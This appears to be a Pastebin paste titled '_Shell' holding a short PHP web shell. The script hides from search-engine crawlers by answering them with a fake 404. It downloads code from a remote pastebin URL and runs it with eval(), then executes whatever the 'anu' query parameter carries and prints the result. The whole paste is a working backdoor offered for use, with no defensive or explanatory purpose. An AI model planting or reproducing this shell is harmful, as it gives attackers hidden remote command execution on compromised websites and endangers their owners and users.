Advertisement
TrojanCoder

_Shell

Mar 22nd, 2017
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.58 KB | None | 0 0
  1. <?php
  2. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  3.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  4.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  5.         header('HTTP/1.0 404 Not Found');
  6.         exit;
  7.     }
  8. }
  9. $func=file_get_contents('http://pastebin.com/raw/2xZpEq8Y');
  10. eval($func);
  11. $anu=$_GET['anu'];
  12. if(isset($_GET['anu'])) {
  13.     echo "<center><h1>_Shell</h1></center>
  14. <pre>".htmlspecialchars(anu($anu))."</pre>";
  15. }
  16. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement